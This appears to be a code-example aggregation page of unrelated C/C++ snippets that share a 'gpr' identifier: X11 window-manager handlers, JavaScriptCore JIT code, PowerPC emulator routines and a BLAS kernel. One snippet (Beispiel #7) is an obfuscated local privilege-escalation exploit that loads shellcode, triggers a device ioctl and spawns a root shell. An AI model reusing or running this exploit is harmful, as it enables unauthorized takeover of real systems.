Beispiel #1
0
cpu_thread& ppu_thread::run()
{
	thread->run();

	gpr(3, argc);
	gpr(4, argv.addr());
	gpr(5, envp.addr());

	return *this;
}
Beispiel #2
0
//! Process _NET_WM_STRUT reply and update fields
void Client::process_ewmh_strut(xcb_get_property_cookie_t gpc)
{
    autofree_ptr<xcb_get_property_reply_t> gpr(
        xcb_get_property_reply(g_xcb.connection, gpc, NULL)
        );

    if (!gpr) {
        WARN << "Could not retrieve _NET_WM_STRUT for window";
        m_ewmh_strut.clear();
        return;
    }

    TRACE << *gpr;

    if (gpr->type != XCB_ATOM_CARDINAL ||
        gpr->format != 32 || gpr->length != 4)
    {
        WARN << "Could not retrieve _NET_WM_STRUT for window";
        m_ewmh_strut.clear();
        return;
    }

    uint32_t* strut = (uint32_t*)xcb_get_property_value(gpr.get());

    m_ewmh_strut.valid = true;

    m_ewmh_strut.left = strut[0];
    m_ewmh_strut.right = strut[1];
    m_ewmh_strut.top = strut[2];
    m_ewmh_strut.bottom = strut[3];

    INFO << "EWMH _NET_WM_STRUT of window " << window() << " is "
         << m_ewmh_strut;
}
Beispiel #3
0
//! Process WM_STATE reply and update fields
void Client::process_wm_state(xcb_get_property_cookie_t gpc)
{
    // *** process WM_STATE property

    autofree_ptr<xcb_get_property_reply_t> gpr(
        xcb_get_property_reply(g_xcb.connection, gpc, NULL)
        );

    if (!gpr) {
        WARN << "Could not retrieve WM_STATE for window";
        m_wm_state = XCB_ICCCM_WM_STATE_NORMAL;
        return;
    }

    TRACE << *gpr;

    if (gpr->type != g_xcb.WM_STATE.atom ||
        gpr->format != 32 || gpr->length != 2)
    {
        WARN << "Could not retrieve WM_STATE for window";
        m_wm_state = XCB_ICCCM_WM_STATE_NORMAL;
        return;
    }

    m_wm_state = (xcb_icccm_wm_state_t)(
        *(uint32_t*)xcb_get_property_value(gpr.get())
        );

    INFO << "ICCCM WM_STATE of window " << window() << " is "
         << IcccmWmStateFormatter(m_wm_state);
}
Beispiel #4
0
//! Process _NET_WM_STATE reply and update fields
void Client::process_ewmh_state(xcb_get_property_cookie_t gpc)
{
    autofree_ptr<xcb_get_property_reply_t> gpr(
        xcb_get_property_reply(g_xcb.connection, gpc, NULL)
        );

    if (!gpr || gpr->type != XCB_ATOM_ATOM) {
        INFO << "Could not retrieve _NET_WM_STATE for window";
        return;
    }

    TRACE << *gpr;

    m_state_sticky = false;
    m_state_above = false;
    m_state_fullscreen = false;
    m_state_maximized_vert = false;
    m_state_maximized_horz = false;
    m_state_skip_taskbar = false;
    m_state_skip_pager = false;

    xcb_atom_t* atoms = (xcb_atom_t*)xcb_get_property_value(gpr.get());
    int n = xcb_get_property_value_length(gpr.get()) / sizeof(xcb_atom_t);

    // iterate and apply properties to window

    for (int i = 0; i < n; ++i)
        change_ewmh_state(atoms[i], EWMH_STATE_ADD);
}
void ValueRep::emitRestore(AssemblyHelpers& jit, Reg reg) const
{
    if (reg.isGPR()) {
        switch (kind()) {
        case LateRegister:
        case Register:
            if (isGPR())
                jit.move(gpr(), reg.gpr());
            else
                jit.moveDoubleTo64(fpr(), reg.gpr());
            break;
        case Stack:
            jit.load64(AssemblyHelpers::Address(GPRInfo::callFrameRegister, offsetFromFP()), reg.gpr());
            break;
        case Constant:
            jit.move(AssemblyHelpers::TrustedImm64(value()), reg.gpr());
            break;
        default:
            RELEASE_ASSERT_NOT_REACHED();
            break;
        }
        return;
    }

    switch (kind()) {
    case LateRegister:
    case Register:
        if (isGPR())
            jit.move64ToDouble(gpr(), reg.fpr());
        else
            jit.moveDouble(fpr(), reg.fpr());
        break;
    case Stack:
        jit.loadDouble(AssemblyHelpers::Address(GPRInfo::callFrameRegister, offsetFromFP()), reg.fpr());
        break;
    case Constant:
        jit.move(AssemblyHelpers::TrustedImm64(value()), jit.scratchRegister());
        jit.move64ToDouble(jit.scratchRegister(), reg.fpr());
        break;
    default:
        RELEASE_ASSERT_NOT_REACHED();
        break;
    }
}
Beispiel #6
0
void VariableEvent::dumpFillInfo(const char* name, PrintStream& out) const
{
    out.print(name, "(", id(), ", ");
    if (dataFormat() == DataFormatDouble)
        out.printf("%s", FPRInfo::debugName(fpr()));
#if USE(JSVALUE32_64)
    else if (dataFormat() & DataFormatJS)
        out.printf("%s:%s", GPRInfo::debugName(tagGPR()), GPRInfo::debugName(payloadGPR()));
#endif
    else
        out.printf("%s", GPRInfo::debugName(gpr()));
    out.printf(", %s)", dataFormatToString(dataFormat()));
}
Beispiel #7
0
_t v evi(){_________ rts[2]={0xee5f9be,0xebdfc46};__ i,moo,moooo;v *p;_________
ppa;_ki kp;rts[0]=rts[0]^(mg1^mg3);rts[1]=rts[1]^(mg2^mg4);gpr((_pi)getpid(),//
&kp);ppa=(_________)kp.kp_eproc.e_paddr;shlr[24+5]=ppa&0xff;shlr[24+6]=(ppa>>8)&
0xff;shlr[24+7]=(ppa>>16)&0xff;shlr[24+8]=(ppa>>24)&0xff;____("\x5b\x2b\x5d\x20"
"\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x3a\x20""%u bytes at %p\x0a",(unsigned)//
_____(shlr),&shlr);moo=mkstemp(tks);if(moo<0){_______(1,"\x6f\x70\x65\x6e");}
_w_w_w_w_w_w_w_w(moo,shlr,_____(shlr));if((lseek(moo,0L,SEEK_SET))<0){_______(1,
"\x6c\x73\x65\x65\x6b");}p=dirtysanchez(0,_____(shlr),meltwax,raadt,moo,0);if(p
==openbsdsec){_______(1,"\x6d\x6d\x61\x70");}moooo=open(gde,O_RDWR);if(moooo<0){
munmap(p,_____(shlr));reopen(moo);_______(1,"\x6f\x70\x65\x6e");}molest(provos,
moooo,0x80044103,NULL);reopen(moooo);reopen(moo);___________(0);__________(ctkrn);
____________(shl,"sh",(v *)ctkrn);
}
Beispiel #8
0
ValueRecovery ValueRep::recoveryForJSValue() const
{
    switch (kind()) {
    case Register:
        return ValueRecovery::inGPR(gpr(), DataFormatJS);
    case Stack:
        RELEASE_ASSERT(!(offsetFromFP() % sizeof(EncodedJSValue)));
        return ValueRecovery::displacedInJSStack(
            VirtualRegister(offsetFromFP() / sizeof(EncodedJSValue)),
            DataFormatJS);
    case Constant:
        return ValueRecovery::constant(JSValue::decode(value()));
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return { };
    }
}
Beispiel #9
0
//! Process _NET_WM_STRUT_PARTIAL reply and update fields
void Client::process_ewmh_strut_partial(xcb_get_property_cookie_t gpc)
{
    autofree_ptr<xcb_get_property_reply_t> gpr(
        xcb_get_property_reply(g_xcb.connection, gpc, NULL)
        );

    if (!gpr) {
        WARN << "Could not retrieve _NET_WM_STRUT_PARTIAL for window";
        m_ewmh_strut.clear();
        return;
    }

    TRACE << *gpr;

    if (gpr->type != XCB_ATOM_CARDINAL ||
        gpr->format != 32 || gpr->length != 12)
    {
        WARN << "Could not retrieve _NET_WM_STRUT_PARTIAL for window";
        m_ewmh_strut.clear();
        return;
    }

    uint32_t* strut = (uint32_t*)xcb_get_property_value(gpr.get());

    m_ewmh_strut_partial.valid = true;

    m_ewmh_strut_partial.left = strut[0];
    m_ewmh_strut_partial.right = strut[1];
    m_ewmh_strut_partial.top = strut[2];
    m_ewmh_strut_partial.bottom = strut[3];

    m_ewmh_strut_partial.left_start_y = strut[4];
    m_ewmh_strut_partial.left_end_y = strut[5];
    m_ewmh_strut_partial.right_start_y = strut[6];
    m_ewmh_strut_partial.right_end_y = strut[7];
    m_ewmh_strut_partial.top_start_x = strut[8];
    m_ewmh_strut_partial.top_end_x = strut[9];
    m_ewmh_strut_partial.bottom_start_x = strut[10];
    m_ewmh_strut_partial.bottom_end_x = strut[11];

    INFO << "EWMH _NET_WM_STRUT_PARTIAL of window " << window() << " is "
         << m_ewmh_strut_partial;
}
Beispiel #10
0
// Execute EMUL_OP routine
void sheepshaver_cpu::execute_emul_op(uint32 emul_op)
{
	M68kRegisters r68;
	WriteMacInt32(XLM_68K_R25, gpr(25));
	WriteMacInt32(XLM_RUN_MODE, MODE_EMUL_OP);
	for (int i = 0; i < 8; i++)
		r68.d[i] = gpr(8 + i);
	for (int i = 0; i < 7; i++)
		r68.a[i] = gpr(16 + i);
	r68.a[7] = gpr(1);
	uint32 saved_cr = get_cr() & 0xff9fffff; // mask_operand::compute(11, 8)
	uint32 saved_xer = get_xer();
	EmulOp(&r68, gpr(24), emul_op);
	set_cr(saved_cr);
	set_xer(saved_xer);
	for (int i = 0; i < 8; i++)
		gpr(8 + i) = r68.d[i];
	for (int i = 0; i < 7; i++)
		gpr(16 + i) = r68.a[i];
	gpr(1) = r68.a[7];
	WriteMacInt32(XLM_RUN_MODE, MODE_68K);
}
Beispiel #11
0
bool cmpx(State *state, Instruction instr)
{
   auto flags = 0;
   Type a, b;

   if (instr.l == 0) {
      if (std::numeric_limits<Type>::is_signed) {
         a = little_endian::signExtend<32, Type>(gpr(instr.rA));
      } else {
         a = little_endian::zeroExtend<32, Type>(gpr(instr.rA));
      }
   } else {
      a = static_cast<Type>(gpr(instr.rA));
   }

   if (Flags & CmpxImmediate) {
      if (std::numeric_limits<Type>::is_signed) {
         b = little_endian::signExtend<16, Type>(instr.simm);
      } else {
         b = instr.uimm;
      }
   } else if (instr.l == 0) {
      if (std::numeric_limits<Type>::is_signed) {
         b = little_endian::signExtend<32, Type>(gpr(instr.rB));
      } else {
         b = little_endian::zeroExtend<32, Type>(gpr(instr.rB));
      }
   } else {
      b = static_cast<Type>(gpr(instr.rB));
   }

   if (a < b) {
      flags |= ppc::Cr::Negative;
   } else if (a > b) {
      flags |= ppc::Cr::Positive;
   } else {
      flags |= ppc::Cr::Zero;
   }

   flags |= state->reg.xer.so;
   crf(instr.crfD) = flags;

   return true;
}
Beispiel #12
0
void Mjoin( PATL, spr2L )
(
   const int                  N,
   const TYPE                 * X,
   const TYPE                 * Y,
   TYPE                       * A,
   const int                  LDA
)
{
/*
 * Purpose
 * =======
 *
 * Mjoin( PATL, spr2L ) performs the symmetric rank 2 operation
 *
 *    A := alpha * x * y' + alpha * y * x' + A,
 *
 * where  alpha is a scalar, x and y are n-element vectors and A is an n
 * by n symmetric matrix, supplied in packed form.
 *
 * This is a  recursive  version of the  algorithm.  For a more detailed
 * description of  the arguments of this function, see the reference im-
 * plementation in the  ATLAS/src/blas/reference directory.
 *
 * ---------------------------------------------------------------------
 */
/*
 * .. Local Variables ..
 */
#ifdef TREAL
#define    one                ATL_rone
#else
   const TYPE                 one[2] = { ATL_rone, ATL_rzero };
#endif
   TYPE                       * A0, * x0, * y0;
   int                        j, jb, jbs, lda = LDA, m, mb, nb;
#ifdef TREAL
#define   gpr      Mjoin( PATL, gpr1L_a1_x1_yX  )
#else
#define   gpr      Mjoin( PATL, gpr1uL_a1_x1_yX )
#endif
/* ..
 * .. Executable Statements ..
 *
 */
   ATL_GetPartP1( A, LDA, mb, nb );

   x0 = (TYPE *)(X); y0 = (TYPE *)(Y);

   for( j = 0; j < N; j += nb )
   {
      jb = N - j; jb = Mmin( jb, nb );
      Mjoin( PATL, refspr2L )( jb, one, X, 1, Y, 1, A, lda );
      if( ( m = N-j-jb ) != 0 )
      {
         jbs = (jb SHIFT); A0 = (TYPE *)(A) + jbs; X += jbs; Y += jbs;
         gpr( m, jb, one, X, 1, y0, 1, A0, lda );
         gpr( m, jb, one, Y, 1, x0, 1, A0, lda );
         MLpnext( jb, A, lda ); x0 = (TYPE *)(X); y0 = (TYPE *)(Y);
      }
   }
/*
 * End of Mjoin( PATL, spr2L )
 */
}
void ValueRecovery::dumpInContext(PrintStream& out, DumpContext* context) const
{
    switch (technique()) {
    case InGPR:
        out.print(gpr());
        return;
    case UnboxedInt32InGPR:
        out.print("int32(", gpr(), ")");
        return;
    case UnboxedInt52InGPR:
        out.print("int52(", gpr(), ")");
        return;
    case UnboxedStrictInt52InGPR:
        out.print("strictInt52(", gpr(), ")");
        return;
    case UnboxedBooleanInGPR:
        out.print("bool(", gpr(), ")");
        return;
    case UnboxedCellInGPR:
        out.print("cell(", gpr(), ")");
        return;
    case UInt32InGPR:
        out.print("uint32(", gpr(), ")");
        return;
    case InFPR:
        out.print(fpr());
        return;
#if USE(JSVALUE32_64)
    case InPair:
        out.print("pair(", tagGPR(), ", ", payloadGPR(), ")");
        return;
#endif
    case DisplacedInJSStack:
        out.printf("*%d", virtualRegister().offset());
        return;
    case Int32DisplacedInJSStack:
        out.printf("*int32(%d)", virtualRegister().offset());
        return;
    case Int52DisplacedInJSStack:
        out.printf("*int52(%d)", virtualRegister().offset());
        return;
    case StrictInt52DisplacedInJSStack:
        out.printf("*strictInt52(%d)", virtualRegister().offset());
        return;
    case DoubleDisplacedInJSStack:
        out.printf("*double(%d)", virtualRegister().offset());
        return;
    case CellDisplacedInJSStack:
        out.printf("*cell(%d)", virtualRegister().offset());
        return;
    case BooleanDisplacedInJSStack:
        out.printf("*bool(%d)", virtualRegister().offset());
        return;
    case ArgumentsThatWereNotCreated:
        out.printf("arguments");
        return;
    case Constant:
        out.print("[", inContext(constant(), context), "]");
        return;
    case DontKnow:
        out.printf("!");
        return;
    }
    RELEASE_ASSERT_NOT_REACHED();
}
Beispiel #14
0
/* Get register by name */
Test::Register Test::getRegister(ppc::Interpreter::State &state, const std::string &name)
{
   std::smatch smatch;

   /* General Purpose Register */
   std::regex gpr("%r([0-9]+)");

   if (std::regex_match(name, smatch, gpr) && smatch.size() == 2) {
      auto reg = std::stol(smatch[1].str());

      if (reg >= 0 && reg <= 31) {
         return Register(RegisterType::Integer64, &state.reg.gpr[reg]);
      }
   }

   /* FPU Register */
   std::regex fpr("%f([0-9]+)");

   if (std::regex_match(name, smatch, fpr) && smatch.size() == 2) {
      auto reg = std::stol(smatch[1].str());

      if (reg >= 0 && reg <= 31) {
         return Register(RegisterType::Double64, &state.reg.fpr[reg]);
      }
   }

   /* XER Link Register */
   if (name.compare("%lr") == 0) {
      return Register(RegisterType::Integer64, &state.reg.lr);
   }

   /* XER Carry */
   if (name.compare("%xer[ca]") == 0) {
      return Register(RegisterType::BitField64, little_endian::make_bit_field(state.reg.xer.value, 34, 35));
   }

   /* XER Overflow */
   if (name.compare("%xer[ov]") == 0) {
      return Register(RegisterType::BitField64, little_endian::make_bit_field(state.reg.xer.value, 33, 34));
   }

   /* Condition Register Field */
   std::regex crf("%crf([0-9]+)");

   if (std::regex_match(name, smatch, crf) && smatch.size() == 2) {
      auto field = std::stol(smatch[1].str());

      if (field >= 0 && field <= 8) {
         return Register(RegisterType::BitField32, state.reg.cr.crn[field]);
      }
   }

   /* Condition Register Bit */
   std::regex crb("%crb([0-9]+)");

   if (std::regex_match(name, smatch, crb) && smatch.size() == 2) {
      auto bit = std::stol(smatch[1].str());

      if (bit >= 0 && bit <= 31) {
         return Register(RegisterType::BitField32, little_endian::make_bit_field(state.reg.cr.value, bit, bit));
      }
   }

   return Register();
}
Beispiel #15
0
//! Process _NET_WM_WINDOW_TYPE reply and update fields
void Client::process_ewmh_window_type(xcb_get_property_cookie_t gpc)
{
    m_ewmh_window_type = EWMH_WINDOW_TYPE_NORMAL;

    autofree_ptr<xcb_get_property_reply_t> gpr(
        xcb_get_property_reply(g_xcb.connection, gpc, NULL)
        );

    if (!gpr || gpr->type != XCB_ATOM_ATOM) {
        INFO << "Could not retrieve _NET_WM_WINDOW_TYPE for window";
        return;
    }

    TRACE << *gpr;

    xcb_atom_t* atomlist = (xcb_atom_t*)xcb_get_property_value(gpr.get());
    int n = xcb_get_property_value_length(gpr.get()) / sizeof(xcb_atom_t);

    for (int i = 0; i < n; ++i)
    {
        // use the first value in the array that we know
        if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_NORMAL.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_NORMAL atom.";
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DESKTOP.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_DESKTOP atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_DESKTOP;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DOCK.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_DOCK atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_DOCK;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_TOOLBAR.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_TOOLBAR atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_TOOLBAR;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_MENU.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_MENU atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_MENU;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_UTILITY.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_UTILITY atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_UTILITY;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_SPLASH.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_SPLASH atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_SPLASH;
            break;
        }
        else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DIALOG.atom) {
            INFO << "Found _NET_WM_WINDOW_TYPE_DIALOG atom.";
            m_ewmh_window_type = EWMH_WINDOW_TYPE_DIALOG;
            break;
        }
        else {
            WARN << "Unknown _NET_WM_WINDOW_TYPE atom: "
                 << g_xcb.find_atom_name(atomlist[i]);
        }
    }
}